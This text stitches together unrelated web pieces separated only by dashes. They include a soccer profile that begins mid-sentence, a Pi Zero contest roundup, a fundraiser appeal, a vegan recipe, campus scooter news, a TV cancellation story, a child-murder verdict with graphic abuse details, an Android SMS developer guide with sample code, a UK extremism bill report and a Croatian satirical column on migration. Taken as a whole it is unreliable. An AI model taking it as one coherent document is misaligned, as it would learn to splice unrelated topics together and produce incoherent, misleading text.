possibility of becoming a Red Stars prospect almost seemed natural.  “Rory is always looking at people,” said Gilliland. “If he drafts someone from a certain place, he is obviously going to have interest in that area. If you know people and you let him know about them, he is going to take a look. He’s never going to turn a blind eye on someone who came from the same university, and I think Courtney is great for this league.”  A year before, Lipsitz started getting phone calls from Rory Dames, the head coach of the Red Stars, about Gilliland when she was a senior. There was some prior familiarity between the two coaches; Lipsitz started the Ohio Premier soccer club in Columbus and often coached against Dames, who coached the Eclipse Soccer Club. When the phone rang again in Lipsitz’s office in late 2015, it was again Dames, who wanted to talk about Raetzman. Lipsitz couldn’t have been more thrilled, just as he had been when he spoke with Dames about Gilliland.  “Our relationship goes way back but when the relationship got to the point where we truly got to know each other so much better was in the last few years when this started happening,” he said. ‘I felt from very early on that Chicago was the right place for Gilly. I felt like how much he believes in the wide backs attacking and being a key part of the attack. So when that worked out, we talked about it a lot beforehand and since then, and that continued this past year with questions about Courtney and her development.”  When NWSL Commissioner Jeff Plush called out Raetzman’s name this past January at the draft in Baltimore, she knew she was headed back home to play the game she loved.  “It’s been a great experience,” Raetzman said. “I’ve dreamed of doing this since I was a little girl so to actually get this opportunity to live out my dream, I can’t ask for anything better than that, and to be playing with such great soccer players all around and everyone who has also had the same dream, it’s kind of awesome.”  “I was so excited for her,” added Gilliland. “I knew that this was her dream to play here in the NWSL and for a moment before the draft, she thought that it wouldn’t happen and would have to go play overseas. And she wanted to play professional here in her hometown, and I couldn’t have been more happy for her. Seeing her live out her dream and watching her grow from her freshman year to now has been awesome.”  Excelling at the Next Level  Coming into the final stretch of the season after the Rio 2016 Olympics break, the Chicago Red Stars find themselves in fourth place and four points out of first. Both Gilliland and Raetzman know that it will be a grind to the finish after the break and hope to help guide their team to the playoffs for a second consecutive season.  Gilliland says the team’s goal is the same from a year ago, but the team wants to have a different mentality. She now believes things are starting to click as the season heads toward it’s final few weeks.  “For a team that has got a lot of very, very good soccer players with very good soccer IQs, rather than being that blue-collar team [from 2015] that pushed through to get results — that’s still something we still want to have but we are trying to evolve ourselves to being a blue-collar, soccer-minded team — I think we have been struggling to find our identity with that and to make it work, but it has been coming together these past few games and our practices have been really good,” she said.  While Gilliland continues to lead by example on the field, she has also been a mentor to her former UK teammates as well. Raetzman, like many NWSL rookies, has to deal with a big transition from college to the professional game. It always helps having someone you know well in your corner and who you can go to for guidance on being successful in the NWSL.  “Arin and I have always gotten along great. Whenever we are with each other, our relationship grows,” said Raetzman. “We spent one of our whole summers in Canada playing soccer together and I think that really helped our relationship. We just get along really well and I’m enjoying the experience playing with her again. I look to her for guidance and help since she has gone through a lot and has been in the NWSL longer than I have, so I can definitely go to her and ask her questions and she is always there for me.”  W  hile both players continue to set goals, be it a call-up to the national team or establishing themselves in the league, Lipsitz knows that his two former players have the energy and will to keep pushing toward reaching those goals.  “[Arin] is ready for the moment and that time but that is up to the national staff to decide, and I respect them and when they decide that Gilly can be successful at that level, they will call her. She has dramatically changed her level to play technically and to connect, and I know Rory is really working with her about what she needs to do to get to that level.”  “Courtney is continue to prove that she belongs and is doing a great job of doing that. I’ve never coached a player that works harder in training on a daily basis than Courtney Raetzman. She will continue to prove that she is a true professional because of what she does on a daily basis.”
-Hackaday and Adafruit have joined forces to present the Raspberry Pi Zero Contest. A great contest is nothing without entries though. This is where the Hackaday.io community is proving once again that they’re the best in the world. The contest is less than a week old, yet as of this Thursday evening, we’re already up to 33 entrants! You should submit your own project ideas now for a chance at one of the many prizes. This week on The Hacklet, we’re going to take a look at a few of these early entrants!  We start with [usedbytes] and Zero Entertainment System [usedbytes] has crammed an entire emulator into a classic Nintendo Entertainment System control pad thanks to the Raspberry Pi Zero. Zero Entertainment System also has something the original NES couldn’t dream of having: An HDMI output. The emulator uses the popular RetroPie front end. We’re happy to say that [usedbytes] knew that hacking up a real Nintendo controller would be sacrilegious, so they grabbed a low-cost USB clone from the far East. A bit of creative parts-stuffing and point-to-point wiring later, ZES was ready to meet the world!  Next up is [Jenny List] with The Australia Project. [Jenny] is a hacker from Europe. She’s hoping to use a Pi Zero to talk to Australia. “Talk” may be pushing it a bit though. The Australia Project will use the Weak Signal Propagation Reporter (WSPR) network to transmit RF straight out of the Pi’s GPIO ports. All that is required is a good filter, an antenna, and a balun. The filter in this case is a 7-pole Chebyshev low-pass filter. The filter keeps the Pi’s harmonic filled square waves from messing up every band from DC to light. [Jenny] normally sells these filters as a kit, but she’s made a special version specifically for the Pi Zero.  [Radomir Dopieralski] has brought his signature walking robots to the Pi Zero world with Tote Zero. Tote Zero is a quadruped walking robot built mainly from 9 gram servos. [Radomir’s] custom tote board interfaces the servos to the Pi Zero itself. The Pi Zero opens all sorts of doors for sensors, vision, and advanced processing. The Arduino board on the original Tote would have been hard pressed to pull that off. Tote is programmed in Python, which will make the code quick and easy to develop. Tote Zero just took its first steps a few days ago, so follow along as a new robot is born!  Finally we have [julien] with PoEPi: Pi Zero Power over Ethernet with PHY. The Raspberry Pi Zero is so tiny, that it’s easy to forget it needs a fair amount of power to run. [Julien] is giving us a way to connect our Pi to a network while ditching the USB power supply using Power Over Ethernet (PoE). PoE has been powering devices like IP cameras for years now. It’s become a standard way of transmitting power and data. For the Ethernet physical interface, [Julien] is using Microchip’s ENC28J60, which has a handy SPI interface. Linux already has drivers in place for the device, so it’s a slam dunk. The “power” part of this system comes with the help of an LTC4267 PoE interface chip, which has a built-in switching regulator.  If you want to see more entrants to Hackaday and Adafruit’s Pi Zero contest, check out the submissions list! If you don’t see your project on that list, you don’t even have to contact me, just submit it to the Pi Zero Contest! That’s it for this week’s Hacklet. As always, see you next week. Same hack time, same hack channel, bringing you the best of Hackaday.io!
-Several tips of the hat to Geoff for his generous donation of £100 towards this fundraiser, the total now stands at £960, still some way short of the £2,000 target. I’ve just donated £20 from my own limited funds (not J4MB funds).  With seven weeks remaining before the next International Conference on Men’s Issues, in Australia, time is rapidly running out to fund flights and other costs of Anthony Corniche, the man who did such a great job filming and editing the talks at the London conference last July – here (scroll down to 8-10 July).  Anthony will be devoting an enormous amount of time and effort to the project – post-filming editing takes up far more time and effort than the filming itself – and if his fundraiser isn’t successful (£1,040 more is required at this point) there will be no video record of the conference presentations. Anthony recently posted this on the website:  Everyone who has and will donate is going to get a credit on the videos when released. The bigger the donation the bigger the credit text. I will contact donors when in editing process around the end of June or early July.  If the fundraiser meets its target, the videos will be made available to view at no cost, on the J4MB and AVfM websites.  Please donate what you can, to help make this important project a reality. Thanks.  If everyone who read this gave us just £1 – or even better, £1 monthly – we could change the world. Click here to make a difference. Thanks.  Share this: Share  Facebook  Twitter
-Okay, today we have another recipe from our collection. We would like to share the recipe for vegan meatloaf. So here it is!  Ingredients:  One package Boca vegan soy crumbles (Morning Star Soy Crumbles are not Vegan)  1/2 Cup Diced Mushrooms  1/2 Yellow Onion (Diced)  2 Tbsp. Vegetable or Canola Oil ( for sautéing veggies)  2 Tbsp. Diced Garlic  1/4 Cup Diced Jalapeños  4 Tbsp. Worcestershire Sauce  2 Cups Bread Crumbs or Crumbled Crackers  2 Tbsp. Mustard  2 Tbsp. Ketchup (will need more for topping as desired)  1/4 Soy Milk  1 Tbsp. Paprika (Optional)  1 Fake Egg (I use Ener-G Brand, it will work without this, but I have found it holds together better with it.) (optional)  Instructions:  1. Pre-heat oven to 375.  2.Defrost soy crumbles, but do not heat beyond defrosting.  3. In a small sauce pan start sautéing them onions, jalapeños, mushrooms and garlic. Do this for about 5-10 minutes on medium heat, stir frequently.  4. In a medium sized mixing bowl add together remaining ingredients. Mix together well.  5. Once the veggies have finished sautéing, drain any access oil that might remain and stir into the rest of the mixture.  6. Coat a medium sized glass baking dish, or bread pan with non-stick cooking spray. Add the entire mixture to the baking dish.  7. Cook mixture for about 20 minutes at 375, it should become a darker brown color.  8. Remove mixture from oven, coat the top with a layer of ketchup. about 3 Tbsp. Return to oven and let cook for another 5-10 minutes.  9. Remove and serve, should yield around 8 servings!
-Electric scooters returning to Stillwater campus  Electric scooters will be available on Oklahoma State University’s Stillwater campus beginning Jan. 23.  Three major changes will be involved with their return: mandatory parking sites, lower costs and a company new to Stillwater.  Spin is providing the dockless, motorized scooters. The university is requiring the scooters to be parked in designated parking areas, which will have a special decal.  Spin will charge students, faculty and staff with an okstate.edu email address $.50 to unlock and $.15 per minute to ride a scooter. The cost to the general public will be $1.00 to unlock and $.15 per minute.  Spin is a Ford Motor Co. subsidiary based in San Francisco, which started in 2016. It has contracts with cities and college campuses across the country.  To address safety issues, the scooters will be limited to 10 mph in the core campus area. A campus map showing designated parking sites will be made available later this week. An example of a designated scooter parking area is shown on the right.  Download or Print Scooter Parking Map  SAFETY AT YOUR FINGERTIPS  ORANGE SHIELD is available to students, employees and visitors. Download the safety app today in the Apple or Google Play stores.  ORANGE SHIELD FEATURES  Connect to police immediately Connect to police immediately  Send a photo, video or report to police Send a photo, video or report to police Connect with police inside athletic venues Connect with police inside athletic venues Request Public Service Officer Request Public Service Officer Safety and OSU resources Safety and OSU resources Peer-to-peer text alert system Peer-to-peer text alert system See routes and schedules of The BUS See routes and schedules of The BUS OSU and City of Stillwater information OSU and City of Stillwater information Personal profile including medical information Personal profile including medical information
-Although this spring was a disappointing one for morels in my area, the past week’s mushroom haul has more than made up for it.  One of the tastiest mushrooms in season now is the Oyster Mushroom.  [social_buttons]  You can hunt for this common variety of mushroom from spring through fall (and even during warm, wet spells during the winter). If mushroom hunting isn’t your thing, you can look for cultivated varieties at farmers markets or Asian markets. You can also grow your own oyster mushrooms at home using kits.  Oyster mushrooms can be found on living and dead tree trunks and logs. They are fairly easy to identify, but be wary of look-alikes such as the orange mock oyster and bear lentinus. These look-alikes are not dangerous, but may be woody or unpleasant-tasting. As with all foraging, the safest way to learn how to find oyster mushrooms is to go hunting with an expert before heading out on your own.  Oyster mushrooms have a chewy texture and a delicate, sweet flavor. Use them in any recipe that calls for “wild mushrooms,” such as these vegan roasted wild mushroom tacos.  I chose to saute my oyster mushrooms in olive oil with garlic, spring onions, chili flakes, and the first patty pan squash of the season. Delicious!  For more information on oyster mushrooms, visit:  Recommended reading:  Image courtesy of a.bower via a Creative Commons license.
-Sad news arrived for fans of Syfy's Dark Matter recently: the show was not picked up for any further episodes.  The third season of the series, based on Joseph Mallozzi and Paul Mullie’s graphic novel, came to a close last week, and with news breaking that Killjoys had been renewed for another two seasons, hopes had been raised that Dark Matter would receive the same treatment. Unfortunately, this was not to be, and word of the cancellation hit the crew behind the cult favourite hard.  Now, co-creator Mallozzi has taken to his blog to explain exactly why the series was nixed.  “Working against us was the fact that we weren’t a SyFy original. We were an acquisition," he revealed. "For those not in the know, an original is a series that is developed by the network and, more importantly, owned by the network, allowing them to monetize the show through things like international sales, streaming, etc. The network pays a lot more but presumably reaps the benefits down the line.”  Mallozzi went on to say that he pitched a much shorter final season to Syfy to wrap up the story, which was left on a cliffhanger. Unfortunately, they weren't interested in doing that, so he's now attempting to get another network to step up to the plate and save the show.  More if we have it.  H/T Dark Horizons  Previously, Mallozzi had revealed the first news of the show's cancellation to fans.  "It is with great sadness that I confirm the news. Syfy has cancelled Dark Matter after three seasons,” he confirmed. “To say that I’m incredibly disappointed would be an understatement. I’ll save my comments and field your questions in a future blog entry. For today, I just want to extend a heartfelt thanks to my amazing crew, my wonderful cast, and to all of you, our incredible fans. You all deserved better.”  Fans had been giving the show one last push of support online last week, and the cancellation news certainly came as a shock to some - Dark Matter's ratings have not only been on par with other successful series on Syfy, averaging over 600,000 weekly viewers with a 0.15 share of the 18-49 audience; it has also improved in the Live +7 ratings substantially, sometimes as much as 200%. These numbers have also remained steady across three seasons, which is rare for any series and shows that the audience has been sticking around.  Deadline
-Garfield Boothe and Nichelle Boothe-Rowe were found guilty Saturday of second-degree murder in the 2011 death of 10-year-old Shakeil Boothe.  Boothe and Boothe-Rowe were convicted by a jury during the second day of deliberations.  The two had pleaded not guilty to second-degree murder. The verdict means an automatic life sentence for both but the court will determine when each can apply for parole at a sentencing hearing scheduled for May 12.  Boothe was Shakeil’s father and his wife Boothe-Rowe was his stepmom. They were arrested soon after police found the child dead in their Brampton home on May 27, 2011.  Shakeil first came to Canada from Jamaica in 2009 to live with his father.  The jury heard what the house of horrors that actually awaited the little boy.  When he misbehaved, Garfield Boothe took a belt to his son and encouraged his wife to do so as well.  Boothe intensified his discipline and by early 2011 he was chaining Shakeil to his bed every day and hitting once or twice a week.  In the meantime, Boothe had pulled his son out of school.  When the boy tore a page from a Bible that he’d been forced to read aloud in May 2011, Boothe-Rowe told the jury she saw her angry husband chase him up the stairs and stomp on his chest while she begged him to stop.  A few weeks later, Shakeil was forced to sleep in the basement for wetting his bed. He had a black eye at this time, cuts on his legs, injuries to his knuckles and a cold that wouldn’t go away.  On May 26, 2011, Shakeil didn’t respond to Boothe-Rowe’s calls for breakfast. When she went down to the basement, she found him lying lifeless on the floor, still dressed in jeans and a T-shirt, his foot blue and cold to her touch.  Instead of calling 911, she phoned her husband at work. She said he wasn’t shocked and insisted that she not call for help.  Instead, they packed and moved all her belongings and those of their infant son into storage. She and the baby would then take a bus to the U.S.  His wife Boothe-Rowe told the court she could not rescue Shakeil from his father because she was terrified of her husband.  Her lawyer Brian Ross said Saturday he found the verdict “disappointing.”  “I was obviously optimistic that the jury would accept the defence of duress so it’s disappointing,” he said after the verdict was passed.  “Nichelle had always admitted responsibility for failing to protect Shakeil and her defence was that she herself was a victim of violence and abuse from Garfield, and because of that, she was relying on the defence of duress,” he continued. “The jury obviously did not accept that.”
-Posted by Scott Main and David Braun  Sending and receiving SMS messages are fundamental features on mobile devices and many developers have built successful apps that enhance this experience on Android. Some of you have built SMS apps using hidden APIs—a practice we discourage because hidden APIs may be changed or removed and new devices are not tested against them for compatibility. So, to provide you with a fully supported set of APIs for building SMS apps and to make the user experience for messaging more predictable, Android 4.4 (KitKat) makes the existing APIs public and adds the concept of a default SMS app, which the user can select in system settings.  This means that if you are using the hidden SMS APIs on previous platform versions, you need to make some adjustments so your app continues to work when Android 4.4 is released later this year.  Make your app the default SMS app  On Android 4.4, only one app can receive the new SMS_DELIVER_ACTION intent, which the system broadcasts when a new SMS message arrives. Which app receives this broadcast is determined by which app the user has selected as the default SMS app in system settings. Likewise, only the default SMS app receives the new WAP_PUSH_DELIVER_ACTION intent when a new MMS arrives.  Other apps that only want to read new messages can instead receive the SMS_RECEIVED_ACTION broadcast intent when a new SMS arrives. However, only the app that receives the SMS_DELIVER_ACTION broadcast (the user-specified default SMS app) is able to write to the SMS Provider defined by the android.provider.Telephony class and subclasses. As such, it's important that you update your messaging app as soon as possible to be available as a default SMS app, because although your existing app won't crash on an Android 4.4 device, it will silently fail when attempting to write to the SMS Provider.  In order for your app to appear in the system settings as an eligible default SMS app, your manifest file must declare some specific capabilities. So you must update your app to do the following things:  In a broadcast receiver, include an intent filter for SMS_DELIVER_ACTION ( "android.provider.Telephony.SMS_DELIVER" ). The broadcast receiver must also require the BROADCAST_SMS permission. This allows your app to directly receive incoming SMS messages.  ( ). The broadcast receiver must also require the BROADCAST_SMS permission. In a broadcast receiver, include an intent filter for WAP_PUSH_DELIVER_ACTION ( "android.provider.Telephony.WAP_PUSH_DELIVER" ) with the MIME type "application/vnd.wap.mms-message" . The broadcast receiver must also require the BROADCAST_WAP_PUSH permission. This allows your app to directly receive incoming MMS messages.  ( ) with the MIME type . The broadcast receiver must also require the permission. In your activity that delivers new messages, include an intent filter for ACTION_SENDTO ( "android.intent.action.SENDTO" ) with schemas, sms: , smsto: , mms: , and mmsto: . This allows your app to receive intents from other apps that want to deliver a message.  ( ) with schemas, , , , and . In a service, include an intent filter for ACTION_RESPONSE_VIA_MESSAGE ( "android.intent.action.RESPOND_VIA_MESSAGE" ) with schemas, sms: , smsto: , mms: , and mmsto: . This service must also require the SEND_RESPOND_VIA_MESSAGE permission. This allows users to respond to incoming phone calls with an immediate text message using your app.  For example, here's a manifest file with the necessary components and intent filters:   ...                                          Any filters for the SMS_RECEIVED_ACTION broadcast in existing apps will continue to work the same on Android 4.4, but only as an observer of new messages, because unless your app also receives the SMS_DELIVER_ACTION broadcast, you cannot write to the SMS Provider on Android 4.4.  Beginning with Android 4.4, you should stop listening for the SMS_RECEIVED_ACTION broadcast, which you can do at runtime by checking the platform version then disabling your broadcast receiver for SMS_RECEIVED_ACTION with PackageManager.setComponentEnabledSetting() . However, you can continue listening for that broadcast if your app needs only to read special SMS messages, such as to perform phone number verification. Note that—beginning with Android 4.4—any attempt by your app to abort the SMS_RECEIVED_ACTION broadcast will be ignored so all apps interested have the chance to receive it.  Tip: To distinguish the two SMS broadcasts, imagine that the SMS_RECEIVED_ACTION simply says "the system received an SMS," whereas the SMS_DELIVER_ACTION says "the system is delivering your app an SMS, because you're the default SMS app."  Disable features when not the default SMS app  In consideration of some apps that do not want to behave as the default SMS app but still want to send messages, any app that has the SEND_SMS permission is still able to send SMS messages using SmsManager . If and only if an app is not selected as the default SMS app on Android 4.4, the system automatically writes the sent SMS messages to the SMS Provider (the default SMS app is always responsible for writing its sent messages to the SMS Provider).  However, if your app is designed to behave as the default SMS app, then while your app is not selected as the default, it's important that you understand the limitations placed upon your app and disable features as appropriate. Although the system writes sent SMS messages to the SMS Provider while your app is not the default SMS app, it does not write sent MMS messages and your app is not able to write to the SMS Provider for other operations, such as to mark messages as draft, mark them as read, delete them, etc.  So when your messaging activity resumes, check whether your app is the default SMS app by querying Telephony.Sms.getDefaultSmsPackage() , which returns the package name of the current default SMS app. If it doesn't match your package name, disable features such as the ability for users to send new messages.  When the user decides to use your app for messaging, you can display a dialog hosted by the system that allows the user to make your app the default SMS app. To display the dialog, call startActivity() with the Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT intent, including an extra with the Sms.Intents.EXTRA_PACKAGE_NAME key and your package name as the string value.  For example, your activity might include code like this:  public class ComposeSmsActivity extends Activity { @Override protected void onResume() { super.onResume(); final String myPackageName = getPackageName(); if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) { // App is not default. // Show the "not currently set as the default SMS app" interface View viewGroup = findViewById(R.id.not_default_app); viewGroup.setVisibility(View.VISIBLE); // Set up a button that allows the user to change the default SMS app Button button = (Button) findViewById(R.id.change_default_app); button.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT); intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, myPackageName); startActivity(intent); } }); } else { // App is the default. // Hide the "not currently set as the default SMS app" interface View viewGroup = findViewById(R.id.not_default_app); viewGroup.setVisibility(View.GONE); } } }  Advice for SMS backup & restore apps  Because the ability to write to the SMS Provider is restricted to the app the user selects as the default SMS app, any existing app designed purely to backup and restore SMS messages will currently be unable to restore SMS messages on Android 4.4. An app that backs up and restores SMS messages must also be set as the default SMS app so that it can write messages in the SMS Provider. However, if the app does not also send and receive SMS messages, then it should not remain set as the default SMS app. So, you can provide a functional user experience with the following design when the user opens your app to initiate a one-time restore operation:  Query the current default SMS app's package name and save it. String defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(context); Request the user change the default SMS app to your app in order to restore SMS messages (you must be the default SMS app in order to write to the SMS Provider). Intent intent = new Intent(context, Sms.Intents.ACTION_CHANGE_DEFAULT); intent.putExtra(Sms.Intents.EXTRA_PACKAGE_NAME, context.getPackageName()); startActivity(intent); When you finish restoring all SMS messages, request the user to change the default SMS app back to the previously selected app (saved during step 1). Intent intent = new Intent(context, Sms.Intents.ACTION_CHANGE_DEFAULT); intent.putExtra(Sms.Intents.EXTRA_PACKAGE_NAME, defaultSmsApp); startActivity(intent);  Prepare to update your SMS app  We encourage you to update your apps as soon as possible to provide your users the best experience on Android. To help you make the changes, we'll soon be providing the necessary SDK components for Android 4.4 that allow you to compile and test your changes on Android 4.4. Stay tuned!
-Curbing Islamic extremism will be one of the biggest proposals when the British government sets out its policy agenda later this month.  Measures including bans on organisations, prosecutions of individuals and closing downs premises used to “promote hatred” will be included in a new Extremism Bill that will be unveiled at the State Opening of Parliament.  The Times reports that the government will also announce an independent review into Sharia courts in Britain. Home Secretary Theresa May called for a review in December 2015 amid growing concerns such courts discriminate against women.  A study claimed the courts trap women in abusive marriages, with the judge in one case reportedly laughing at a woman and asking: “Why did you marry such a person?”  The bill will also expand the vetting process so that employers will be informed of known extremists to stop them working with children.  The media regulator Ofcom will also get new powers to suspend broadcasters who include “unacceptable extremist material”. In February, the regulator slammed Islamic channel Peace TV, which broadcasts to the UK, for including anti-Semitic material and blaming Jews for the Holocaust. It is run by a hate preacher who was banned from the UK in 2010.  Examples of views that may be criminalised include calls for the complete adoption of Sharia law in the UK and “hate messages” aimed at the armed forces.  Last year, it was revealed that the government’s anti-extremist ‘Prevent’ strategy is targeting 44 “terror hotspots” in Britain, including towns such as Brighton, Burnley, Calderdale, Coventry, Crawley, Portsmouth and Southwark.  One area, Crawley, only has a small Muslim population but it hit the headlines in 2014 as the home of the first British-born suicide bomber in the Syrian Civil War.  Brighton also gained notoriety after four young friends, nicknamed the ‘Brighton Boys’, travelled to Syria to join the Al Qaeda-affiliate Nusra front.
-Izvor: N1 / Pixsell  Kako je poznato da u Novom svjetskom poretku imam dosta dobre veze i kontakte, odat ću don Ivanu i „objaviti“ odgovore na sva njegova pitanja  „Kao prvo, nameće se pitanje koliko dugo može ta ljudska rijeka teći i u stanovitoj mjeri rušiti sve pred sobom, odnosno je li dolazak te rijeke ljudi u Hrvatsku i Europu tek početak procesa kojemu se ne može predvidjeti kraj, možda ni godinama? Odgovor na to pitanje morali bi znati i Ujedinjeni narodi, sve vodeće međunarodne sile, vodstvo Europske unije, kao i hrvatski političari. Vjerojatno je da neki od spomenutih pouzdano znaju precizan i istinit odgovor na to pitanje, ali ga ne žele objaviti jer je to u njihovu interesu i u duhu igre koja je vrlo vjerojatno vrlo smišljeno režirana. Teško je reći znaju li odgovor na to pitanje hrvatski političari, ili se pak ne opterećuju tim pitanjem.“  Tako svoj uvodnik u novom Glasu koncila započinje glasnogovornik Kaptola Ivan Miklenić, zabrinut za sudbinu Hrvatske – „što tek čeka Hrvatsku, kad se već sada najavljuje da bi oko sedamdeset tisuća tih ljudi moglo ostati u zemlji barem preko zime?“ – ali i Crkve u Hrvata i Crkve u Cjelini, dakle Crkve Kao Takve.  „Poznato je da u toj rijeci ljudi osim Sirijaca i Iračana ima relativno puno Afganistanaca i Pakistanaca, a sve su to ljudi prikladni za ostvarivanje ciljeva ideologije globalizma koja ima naum razaranja ne samo obitelji, nacije, nacionalne države, kulturnoga identiteta, nego i, možda i osobito, monoteističkih svjetskih religija, posebno kršćanstva u svim njegovim pojavnostima“, objašnjava don Ivan, pa se pita: „Ako je riječ o takvom scenariju, a on se ne može isključiti, kako bi na to trebali odgovoriti i europski i hrvatski političari, kao i odgovorni u religijskim zajednicama? Može li se isključiti tajni plan da se ekspanzijom jedne svjetske religije potisne drugu, da bi se potom iznutra i izvana razaralo i tu religiju?“  Koliko dakle dugo može ta, kako reče don Ivan, „ljudska rijeka rušiti pred sobom“, je li „njihov dolazak u Hrvatsku i Europu tek početak procesa kojemu se ne može predvidjeti kraj“?Glasnogovornik Kaptola pretpostavlja da sile novog svjetskog poretka „znaju precizan i istinit odgovor na to pitanje, ali ga ne žele objaviti“.  Kako je poznato da u Novom svjetskom poretku imam dosta dobre veze i kontakte, odat ću don Ivanu i „objaviti“ odgovore na sva njegova pitanja, od onoga na kraju - „može li se isključiti tajni plan da se ekspanzijom jedne svjetske religije potisne drugu?“ – do onoga s početka: „Je li to tek početak procesa kojemu se ne može predvidjeti kraj?“  I odmah da kažem - ne, ne može se „isključiti tajni plan“. Da, to je „tek početak procesa“. I da, može mu se „predvidjeti kraj“. Naročito se može „predvidjeti kraj“.  Svakako, ne bi bilo prvi put, pa nije teško rekonstruirati kako će u nekoj razmjerno bliskoj budućnosti naša historija pisati „početak procesa“ i njegov kraj.  Bio je na Bliskom istoku, pisat će jednom povijest svijeta, strašan rat: sile sa Zapada svrgavale su afričke i azijske diktatore, crpeći prirodne resurse i zavodeći novi svjetski poredak. Imao je Zapad tako dolje političku vlast i među lokalnim moćnicima odane saveznike, ali nije mogao protiv najvećeg neprijatelja - duboke, upravo fanatične vjere tamošnjeg naroda i njihova neprijateljskog, opasnog boga, za kojega tim siromašnim i primitivnim jahačima deva ni umrijeti nije bilo mrsko.  Tako je bilo svugdje na Bliskom istoku, od sjeverne Afrike do Levanta, od Libije do Palestine. Tako je bilo i u Siriji.  Kad je tako „rijeka ljudi“ iz Sirije krenula na drugu obalu Mediterana, uplašio se Zapad da će imigranti razoriti „ne samo obitelj, naciju, kulturni identitet“, nego i „ekspanzijom“ svoje religije „potisnuti“ pradjedovsku vjeru „u svim njenim pojavnostima“, ukratko sve tradicionalne vrijednosti na kojima je dobra, stara Europa stoljećima spokojno počivala. Nije taj strah bio iracionalan, jer već je po njenom zapadu bilo prljavih stranaca s Levanta i među njima „spavača“, vjerskih vođa i fanatika što su propovijedale tu tuđu i Zapadu posve stranu vjeru.  Zato je Zapad nepovjerljivo gledao svakog sirijskog imigranta što se preko Grčke i Makedonije dokopao Balkana i zakucao na vrata civilizirane Europe, zato je s podozrenjem gledala i tog neuglednog, prljavog i koščatog tamnoputog bradonju što se jednog dana pojavio sa zavežljajem preko ramena.  - Odakle si? – grubo ga je upitao uniformirani muškarac.  - Iz Antiohije, iz Sirije.  - Gdje si pošao?  - Zapravo sam mislio u Dalmaciju. U Solin.  - Bogati? Na more, ha? – pogledao ga je vojnik s visoka. – A ti nisi jedan od onih…?  - Kojih, gospodine? – mirno ga je upitao stranac.  - Znaš ti dobro. Ono, „Bog je velik“, rajska čudesa, djevice i te pizdarije.  - A ne, gospodine – gledao ga je ovaj ravno u oči.  - Hmdobro, ajde da ti vjerujem – klimnuo je glavom vojnik, pa krenuo da ga upiše u registar. – Kako s zoveš?  - Domnius – odgovorio je neznanac. – Ali prijatelji me zovu Duje.  Dalje tu priču znate i sami: lažljivi sirijski imigrant, čim je došao do Solina, okupio je svoju sektu i stao širiti opasnu religiju s Levanta, kršćanstvo ili kako se već zvala, sve dok se po Solinu i okolici nije pročulo da je bradati fanatik navodno oživio mrtvog sina stare udovice Febronije, i da se sve više ljudi okreće toj novoj poganoj vjeri. Prefekt grada Salone, mudri Maurilije, bio je pod velikim pritiskom lokalnih svećenika, koji su – bilježe stari ljetopisi - tvrdili kako Duje iz Sirije „uvodi novu religiju protiv zakona koje su donijeli Augusti“ i žalili se kako novo „praznovjerje“ s istoka okuplja više ljudi nego gladijatorske igre, a kamoli javna žrtvovanja kultovima Jupitera i Serapisa, prijeteći naposljetku rimskom prefektu kako bi i sâm, ako ne poduzme nešto, mogao biti optužen za „podrivanje vjere u bogove“. I to u srcu Carstva, pred zidinama velebne palače koju je upravo tih dana, svega par milja od Salone, za sebe dovršavao sâm senior augustus Gaj Aurelije Valerije, rečeni Dioklecijan!  Tako je, eto, skončao zloglasni sirijski terorist Domnius iz Antiohije, našoj historiji poznatiji kao sveti Duje.  Prilično stoga „pouzdano“ i „precizno“ može se rekonstruirati kako ivani miklenići onoga doba u pravednom gnjevu kriče kako „ljudska rijeka“ iz Sirije i Bliskog istoka „ruši sve pred sobom“, pitajući se „je li dolazak te rijeke ljudi tek početak procesa kojemu se ne može predvidjeti kraj, možda ni godinama“, je li „njihov naum razaranje ne samo obitelji, nacije, kulturnog identiteta“, nego i, možda i osobito, Jupiterova kulta „u svim njegovim pojavnostima“, i – konačno - „može li se isključiti tajni plan“ da se ekspanzijom kršćanstva potisne vjera u rimske bogove? Sve lamentirajući kako bi „odgovor na to pitanje morali znati“ i rimska Kurija i gospoda senatori, kao i prefekt Maurilije, i kako „vjerojatno neki od spomenutih pouzdano znaju precizan i istinit odgovor na to pitanje, ali ga ne žele objaviti jer je to u njihovu interesu“.  Poučna priča o svetom Duji podsjeća nas tako da ne bi bio prvi put kako se u cikličkim historijskim amplitudama svoje ohole dekadence Europa nepovratno mijenja. Ivanu Mikleniću to se ne mora svidjeti – ne mora, najzad, ni meni ni vama – ali povijest se, jebiga, ne piše sama. Imam stoga za Ivana Miklenića dobru i lošu vijest.  Ako je, naime, historia zaista magistra vitae, bolje je da mu kažem odmah: za samo desetak godina nova će religija s Istoka biti proglašena službenom vjerom nove Europe, onako po prilici kako to u svom provokativnom romanu „Pokoravanje“ piše Michel Houellebecq. Jednako bi, najzad, taj njegov roman bio tjeskobna distopija i da ga je objavio prije hiljadu sedamsto godina. S te pak točke povijesti, dalje je prilično lako „pouzdano“ i „precizno“ rekonstruirati njen ostatak.  Za točno tri stotine godina – koja više, koja manje – u tu će novu, kršćansku Europu doći s Istoka nova „ljudska rijeka koja će rušiti sve pred sobom“, i opet će Zapad nepovjerljivo gledati svakog imigranta što se dokopa Balkana i zakuca na vrata civilizirane Europe, uključujući i onu brojnu, neuglednu, prljavu i bučnu imigrantsku obitelj što će se jednog dana pojaviti sa zavežljajima preko ramena.  - Odakle ste? – grubo će ih pitati uniformirani muškarac.  - Iz Perzije, gospodine.  - Gdje ste pošli?  - Zapravo smo mislili u Dalmaciju. U Solin.  - Bogati? Na more, ha? – gledat će ih vojnik s visoka. – A vi niste od onih…?  - Kojih, gospodine? – mirno će ga je pitati jedan od njih, očito najstariji.  - Znaš ti dobro. Ono, Svarog, Svarožići i te pizdarije.  - A ne, gospodine – gledat će ga ovaj ravno u oči.  - Hmdobro, ajde da vam vjerujem – klimnut će glavom vojnik, pa krenuti da ih upiše u registar. – Kako se zovete?  - Ja sam Klukas – odgovorit će neznanac. – A ovo su Lobel, Muhlo, Kosjenc, Hrvat, Tuga i Buga.  Hoće li to, dakle, biti „tek početak procesa kojemu se ne može predvidjeti kraj, možda ni godinama?“ Svakome će svećeniku solinske 